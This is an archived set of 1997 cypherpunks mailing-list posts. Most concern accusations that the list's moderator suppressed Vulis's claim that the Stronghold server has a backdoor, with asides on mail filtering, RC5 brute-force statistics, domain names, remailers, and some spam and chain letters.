>Okay, I went through my old mail, and I'm fairly sure this is the
>message.  I'm convinced it never went to the flames list, and now that
>I've found out I'm on the -unedited list after all, I think it
>probably didn't go to the regular cypherpunks list either.  Can people
>on the various lists confirm this for me?

I checked the archive site (http://infinity.nus.sg/cypherpunks) for the
"main" (censored) list, and do not see it there, either by title or by
author.

I only recently subscribed to the Flames list, so I cannot check to see if
it went there. Anyone else check the Flames list?

As I said in my last messages, if this message went to neither the Main
list nor the Flames list, then a very serious problem has been exposed.

Further, if the post, while not being sent to either of the nominal lists
which filtered stuff is supposed to go to, was used as the basis of legal
threats by the employer of Sandy, the list's censor, then dramatically more
serious implications seem evident. I await Sandy's views with great
anticipation.

The message itself does not look flamish to me. It makes charges, but so do
a zillion other posts. It cannot be the job of a censor to decide on what
is true and what is not true.

>Given the total lack of technical content, the flamey nature of the

It's not "flamey." Nobody is called a cocksucker, nobody is called  a
faggot, etc. Yes, it claims a product has a trojan horse, but this is a
claim comparable to other claims routinely made on list and newsgroups.

I'm also neither stupid nor disingenuous. I realize full well that Vulis
probably made the claim because he knows Sandy works for the seller of
Stronghold. Be that as it may, it is not proper for a censor employed by
the seller of a product to decide that criticisms of his product are
flamish. Would the list have countenanced censorship of criticisms of an
RSADSI product if the list were being censored by an employee of RSADSI?
And by letting Vulis make such a claim, and then having it quickly rebutted
by other employees of C2Net, for example, Vulis would be shown to be
spreading disinformation and his reputation capital would decline still
further.

If in fact the Vulis claim never made it either of the two lists to which
all filtered messages are supposed to be sorted, then deception has
occurred. And a conflict of interest.

Again, I await Sandy's response.

>A lot of people out there are subscribing to the cypherpunks-flames
>and cypherpunks lists thinking that they will see everything that gets
>rejected (albeit with a substantial delay).  If this is not the case,
>it should be made clear.  Otherwise, it's not moderation, but
>dishonesty.

Indeed.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 7 Feb 1997 15:50:30 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702072349.PAA20677@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

We have enough people who want to have a PGP keysigning session at
tommorrow's meeting to make it worthwhile.  We'll probably be doing
it at 17:00 or thereabouts.

If you want to join in, let me know ASAP.  Include your key or a pointer
to where I can download it.

	-ed falk

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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Hk9YqDrW0Yd6sdYNtIvdl6MreklF5sI6++IcDH0nGs1Ifam1cNbEyA==
=rWsE
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 7 Feb 1997 07:19:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071508.QAA05145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Over on sci.crypt, Paul C. Kocker <pck@netcom.com> gave a clear and
confident response to a query about the statistical difference between a
brute force attack on a known Russian or English text, versus a similar
attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale
Clue #3.)

Said Kocher:

The difference is negligable.  With English text encrypted under
a 64-bit block cipher, you know that the most significant
bit of each of the 8 bytes in the block should be zero.  For a
wrong key, there is a 255/256 probability that at least one of
these bits will be nonzero, allowing immediate rejection of
the key.  Keys which do produce all zero bits get tested on
additional blocks until the key is either deemed correct or
rejected.  The extra overhead per wrong key is the sum from
i=1 to infinity of i*(1/256^i), or under 0.4 percent.

In practice, the slowdown is actually a couple of percent, since
it complicates the skip-the-last-Fiestel-round optimization. Also,
the 1/256 case requires running extra code, which can fill the
microprocessor's cache with code which isn't part of
the main loop, slowing things down a bit when the computer
goes back to the main search.

Cheers,
Paul

____________________________________      http://www.cryptography.com
Paul Kocher (pck@netcom.com)       |     Voicemail: +1-(415)-354-8004
Crypto consultant                  |           FAX: +1-(415)-321-1483






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Quantum Communications <sales@quantumcom.net>
Date: Fri, 7 Feb 1997 14:42:11 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Customers For You!!!
Message-ID: <199702072120.QAA09988@slade.quantumcom.net>
MIME-Version: 1.0
Content-Type: text/plain


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info via email, please be sure to include your voice phone # and best
time to call, unless you would prefer not to be contacted via
telephone to follow up.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 14:58:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: automated moderation system
Message-ID: <3.0.32.19970207164355.006949b4@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:15 PM 2/7/97 -0800, you wrote:

[... re: a auto moderations system...]
>now, the mailing list works as follows. people always receive
>posts from people they put on their "pass" lists. mail from
>entities on their "zap" lists is always trashed.
This much, you can do on your own.  Just filter "zap" messages to
/dev/null or somesuch.  (But I see its purpose; keep reading.)

[... using other's pass/zap lists as reputation markers...]
It's a good idea in theory, but would put a lot of load on the server.
For every message * every list subscriber, it has to _at_least_
look up the pass/zap criteria, and possibly do some number-
crunching based on the whole database of pass/zap lists, and keep
track of how long each message has been sitting in the queue
and its ratings by other people.

Also, Mallet could skew the reputations by subscribing with a dozen other
addresses (which M. created just to get the extra "votes"), decide
to have all of them "zap" Alice, and then Bob might never see
Alice's intelligent and thoughtful messages.  (Presumably, Mallet
keeps the bogus addresses subscribed, just dumping all mail into the
bitbucket; any user who leaves the list shouldn't have any weight
in the calculations any longer.)

This also doesn't even address anonymous remailers; Chuck and Dave
might both use the same remailer, even though Chuck only posts
good, meaningful messages (in whatever context) and Dave only
posts flaming ASCII art :)

dave (who doesn't post flaming ascii art, honest)
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 14:58:39 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <3.0.32.19970207165402.00688998@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:24 PM 2/7/97 -0500, you wrote:

>[Forwarded from Wired news. Let's cut to the chase: Which side is in the
>right? Who can tell me, in plain and simple language, who is fighting for
>individual freedom and property rights, and who is not?]
Hee... I think they're both just after money.

>   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>   Committee (IAHC) to expand the number of Internet top-level domain
>   names is stirring opposition among alternative domain name providers.
Well, of course. AlterNIC does charge a few bucks for registering in
some of their TLDs.  I'm not sure about the other alternative-name
servers, but somehow I doubt it's a charity program.  And of course
we all know about InterNIC's cash cow...

[the proposed new TLDs]
.firm  
.store  Somehow, these two look rather similar to me.

.web    Actually a good idea :) A lot of the .com congestion is
        from companies that are virtually-hosted for the sole
        purpose of running a Web site with the www. prefix.

.arts   
.rec
.info   How many of these would fit into the .org (or even .us) domains?

.nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

>   They also think the new domain names will "fragment" the
>   Internet, leaving some users unable to communicate with others, if a
>   server does not recognize the name request.
How so?  AlterNIC et al. aren't exactly globally recognized anyway.
If we're going to have more TLDs, it's at least less "bad" to have them
coming from the place where names have been coming from anyway (InterNIC).
No matter what, it'll be a long time before _any_ new TLDs are
universally recognized, just because somewhere, someone's sysadmin
is asleep at the wheel.  (Probably at my ISP :)

dave
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "huilam" <huilam@pl.jaring.my>
Date: Fri, 7 Feb 1997 01:16:15 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199702070916.RAA10141@relay6.jaring.my>
MIME-Version: 1.0
Content-Type: text/plain


How to get off this mail-listing ??

Regards,
Hui Lam
Email:huilam@pl.jaring.my  
Homepage:<http://www.geocities.com/heartland/8642/>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 14:29:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Stronghold Charge - 1
Message-ID: <1.5.4.32.19970207222314.006ca6f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: cypherpunks-errors@toad.com
To: cypherpunks@toad.com
Subject: Disappearing articles?
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Date: Fri, 31 Jan 97 10:39:11 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com

We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 7 Feb 1997 14:18:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Unix Network Monitor...
Message-ID: <TCPSMTP.17.2.7.-15.25.12.2780269260.1507893@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those, who might be interested...

== Forwarded Message Follows =========================================

Subject: SOFT> The Big Brother Unix Network Monitor

Date: Wed, 5 Feb 1997 13:26:51 -0600
From: sean@iti.qc.ca

http://www.iti.qc.ca/iti/users/sean/bb-dnld/

Big Brother is a free web-based Unix network monitoring tool.  It watches
disk space, CPU loads, important processes, Web servers, and connectivity
and can page you if something really horrible happens.  Free. Includes all
source code.  Version 1.03

-----BEGIN PGP SIGNATURE-----
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=twyY
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: inc@jps.net (linda wilson)
Date: Fri, 7 Feb 1997 08:37:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Appointment Verification
Message-ID: <19970208012523047.AFY168@[207.105.167.194]>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,



We would like to ask for your help with a survey for a service bureau we are
considering developing software for in voice communications.

This software will be used to remind patients of their upcoming
appointments, allow them to confirm or reschedule. After confirming
which patients will not be able to make their appointment the system will
contact all individuals that are on a waiting list to schedule them for open 
time slots.....

For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film 
and a 35 mm camera. NO ONE WIll CALL YOU!

1. Do you feel doctors would use a service which calls patients 
for them using a personalized Voice system reminding them of 
their appointments? 

____yes   ____NO


2. How important do you feel it is to doctors to eliminate the drudgery of
staff calling patients reminding them of appointments.

not important		______
somewhat important	______
Very important		______

3. What's do you feel would be a fair price or doctors would be willing to pay for such a service?

100-$200 per month	_____
200-$300 per month	_____
300- $400 per month	_____

Other		____________

Please email your answers to advance@ns.net

If you have any suggestions on any additional automated voice service you would like to see
someone develop please let us know. Thanks again for your participation.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 14:55:16 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: faulty moderation software: duplicate messages
In-Reply-To: <199702071941.LAA29273@toad.com>
Message-ID: <Pine.LNX.3.95.970207175220.1844A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

All messages with "Sender: owner-cypherpunks-unedited@toad.com" are received
from the flames list.  The difference between the unedited and moderated lists
is that the moderated list changes the message ID, appending toad.com, and
deletes all received headers before "majordom@localhost.*by toad.com".  None
of the messages are being doubled; this is just the result of buggy software

Here's the recipe I use to filter out the three separate lists:

:0
* ^Sender: owner-cypherpunks.*@toad.com
{
	:0
	* ^Sender: owner-cypherpunks-unedited@toad.com
	flames

	:0
	* -1^1 ^Received:
	* 3^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

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Version: 2.6.3
Charset: noconv

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bBPEPHfh7gbtVtBFiUri7jtGLHv6kROb0/wuREgkxHd0wLld/3L7GRClIgy8b+1K
6TeuoO32SA6tp+a9yytQUuf/WvueGdFSbLwXHozMvRu5+WOcqa8Hbw==
=MQlk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:07:01 -0800 (PST)
To: cypherpunks <tcmay@got.net>
Subject: faulty moderation software: duplicate messages
Message-ID: <199702071806.LAA18482@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Virtually all list postings to the cypherpunks main list are 
    doubled; the first, which is a standard pass through with the 
    message ID of the sender, the second with the message ID of 
    toad.com.

    Obviously, the first is destined for the unedited list --which did 
    _not_ receive the message. The second has been re-IDd, which I 
    presume is your censorhip mark.

    I happen to subscribe to all three lists, even though
        
        main + flames == unedited

    is supposedly the intention, it is not. In order to divide the
    output stream from toad.com, sorting on "Sender: " is the only
    reasonable differentation (when toad's filters are working):

        Sender: owner-cypherpunks@toad.com
        Sender: owner-cypherpunks-flames@toad.com
        Sender: owner-cypherpunks-unedited@toad.com
        Sender: owner-coderpunks@toad.com

    in the case cited below, the only differentation between the 
    destinations is that the censored message has a "Message-ID: "
    from toad.com, while the one intended for unedited has a 
    "Message-ID: " not from toad.com.  was either of these 
    destinated from flames? --the main list with duplicated messages
    has contained any number of messages, including ones from the
    ASCII art series which should have gone to flames.

    so, why is the pass through message not being reliably re-headered 
    at toad.com to mark "Sender: owner-cypherpunks-unedited@toad.com"
    --but if it is, why is unedited receiving a duplicate --obviously
    the duplicate should have gone to flames. 

    BOTTOM LINE: your software is inadequate.  my neighbors' kids write 
    better filters than you have installed.


+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103
+	for <attila@primenet.com>; Fri, 7 Feb 1997 04:24:48 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from
+hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com
+(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800
+(PST) Received: from aba@p28-dove-gui.tch.virgin.net [194.168.60.88]
+by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received:
+(from aba@localhost) by server.test.net (8.6.12/8.6.12) id LAA00460;
+Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT
+Message-Id: <199702071115.LAA00460@server.test.net>
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+In-reply-to: <199702052256.OAA06322@toad.com> (message from Mark
+    Voorhees on Wed, 05 Feb 97 17:05:51 -0400)
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045;
+	Fri, 7 Feb 1997 09:00:01 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id:
+   <199702071512.HAA24892@toad.com>
+Date: Fri, 7 Feb 1997 11:15:30 GMT
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a


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-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Fri, 7 Feb 1997 10:04:26 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <Pine.LNX.3.95.970207050959.17740D-100000@dhp.com>
Message-ID: <19970207180418.28980.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Who attacked the network and for what reason?

Well, as best I can tell I've gotten caught in the crossfire of a
spam/"anti-spam" spam war.  People are forging articles through
anonymous remailers to solicit spam to non-spamming customers of
"spam-friendly" ISPs, in the hopes of driving those customers away.
In other words, a lot of articles are being posted to groups like
alt.make.money.fast with headers like:

 From: customer@isp.under.attack (My^ISP^spams^I^should^switch)

Then the spam bots collect the addresses, and send lots of mail like

 To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
 Subject: Great opportunity!!!

 My^ISP^spams^I^should^switch,

 I saw your post the other day, and have an oportunity for you that's
 so good you can't miss it...

It would be amusing if it weren't causing me hassles.  Ultimately,
however, the person doing this is clearly trying to get ISPs to set
more restrictive policies about what mail/news customers can send,
while knocking off a few anonymous remailers and mail2news gateways in
the process.

> Well, just who is cutting you off and for what reason?
> And what is their telephone number?

At issue here are a number of complicated high-level administrative
issues.  It's not just that someone is trying to pull the plug on me.
I've been asked by someone who is not the one getting the phone calls
or exerting anti-mail2news pressure if I would stop using MIT news
servers.  The reason is that that person needs to maintain good
relations with the people who are being harassed over the fogery.

I don't really want to go into details.  The point is that this
situation is a lot more subtle than whether the pro-mail2news people
can "out-harrass" the people complaining about forgeries.  Therefore,
I would sincerely appreciate it if you did not try to make any phone
calls or do anything to use up any more of these people's time.  I
fully intend to keep mail2news running, and am just trying to get more
news servers (after having lost one) to maintain reliability and
strengthen my position.

> Just what is your definition of "abuse?"

This got answered in a separate message.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Fri, 7 Feb 1997 20:36:01 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702072121.NAA01093@toad.com>
Message-ID: <970207.180426.4i8.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ericm@lne.com writes:

> Damaged Justice writes:

>>    administration about this." Barring that, Denninger will lobby
>>    Internet service providers around the country, asking them not to
>>    recognize the new GTLDs. "There is no reason to support it. We will do
>>    everything in our power to convince ISPs not to go along," he says.

> If I didn't already think that Karl was an idiot, I'd sure think so after
> reading this.

Concur.  When I went after my domain name last year, I was effectively
forced into taking a .com, which was the _last_ TLD I wanted.  (first
choice was .net, but that's supposedly now only given to ISPs)  I'd
happily accept scytale.nom, especially since it's doubly cryptic.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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Version: 2.6.2

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2C2ErK0FaKmnW14rUNX2XdSGHlqBGfh3rkjKM5UrHd+PBakNQKIIByPvTxn/Stsl
/XzWZBZyAG0=
=qAs2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Fri, 7 Feb 1997 15:07:44 -0800 (PST)
Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday
Message-ID: <199702072307.SAA16605@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

*** Monday, Jan. 27  ***
*** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book.

For the past 20 years Bass has practiced law in the Washington, D.C. 
metropolitan area, concentrating in civil litigation and appellate
advocacy. From 1977 until 1981 he left private practice to serve as the
first Counsel for Intelligence Policy at the Department of Justice. In
that position he advised the Attorney General and the White House on the
legal aspects of a variety of intelligence and national security matters. 

He also has served as a Special Master in a FOIA litigation in the
United States District Court for the District of Columbia to review code
word classified files concerning the Iran hostage rescue mission for Judge
Louis Oberdorfer. 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 15:16:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <1.5.4.32.19970207231058.006c5e4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


My version of DV's ploy came via the unedited list.

There was also a good, brief discussion about Vulis's multi-pronged
Denial of Service attack on Cypherpunks, which came unedited, along 
with other informative comments about how a technologically adept 
attacker singles out a quarry amongst a lumbering, slumbering, cud-
chewing herd. Quite beastly cryptoanarchistic.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:23:48 -0800 (PST)
To: "Timothy C. May" <sandfort@crl.com>
Subject: censorship and headers/example of ascii art which passed filters
Message-ID: <199702071823.LAA19320@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

+Dickhead Vermin K[ondom]OTM has been a source of endless
+embarassments to his sympathizers on and off the net.
+       _  O     O  _
+        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
+         /^\   /^\
+        ^^ ^^ ^^ ^^

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Charset: latin1
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Bnb05Yrz3ikJXitr7zs26+f8ImeC++5hrkNanPUVBuwa09l2NMYjvGRf+980XLIA
3TIkjAlpcrk=
=1Izr
-----END PGP SIGNATURE-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: foolswisdom@juno.com (My Account)
Date: Fri, 7 Feb 1997 15:37:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970207.171809.3110.0.foolswisdom@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                 
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                  !!!!!!!!!!!!!!!!        
IIIIIIIIIIIIIII                                            TTTTTTTT      
                            !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII     
                                      TTTTTTTT                           
       !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                          
                 TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                      
                     TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                          
     TTTTTTTT                                  
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                     
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    
***************************************************************************************	
                 ***  TAG,   YOU' RE   IT   !!!!!!  ***
***************************************************************************************You
have been a victim in The Great E-mail Game of Tag!  There are no
tagbacks, and you must send this to someone else to rid yourself of being
it!Send this to friends, classmates, co-workers, famous people, jerks,
orfools.  Send another copy to other people to start your own game!  
Just remember to have fun!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 16:10:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <v03007804af2160f848b5@[207.167.93.63]>
Message-ID: <199702071813.SAA16692@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007804af2160f848b5@[207.167.93.63]>, on 02/07/97 at 05:03 PM,
   "Timothy C. May" <tcmay@got.net> said:


>I'm also neither stupid nor disingenuous. I realize full well that Vulis
>probably made the claim because he knows Sandy works for the seller of
